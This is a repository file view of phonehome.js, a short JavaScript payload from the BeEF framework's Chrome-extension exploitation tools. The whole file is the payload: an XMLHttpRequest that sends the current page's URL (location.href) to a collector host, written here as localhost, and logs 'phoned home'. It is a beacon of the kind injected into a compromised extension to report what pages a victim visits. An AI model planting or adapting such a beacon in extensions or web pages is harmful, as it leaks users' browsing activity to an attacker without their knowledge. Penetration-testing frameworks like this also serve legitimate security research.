Files
beef/tools/chrome_extensions_exploitation/payloads/phonehome.js
Krzysztof Kotowicz 3947bac044 added payloads
2014-03-22 11:28:27 +01:00

6 lines
192 B
JavaScript

var x = new XMLHttpRequest();
x.open('get', 'http://localhost/?url=' + encodeURIComponent(location.href), true);
x.onload = x.onerror = function() {
console.log('phoned home');
}
x.send(null);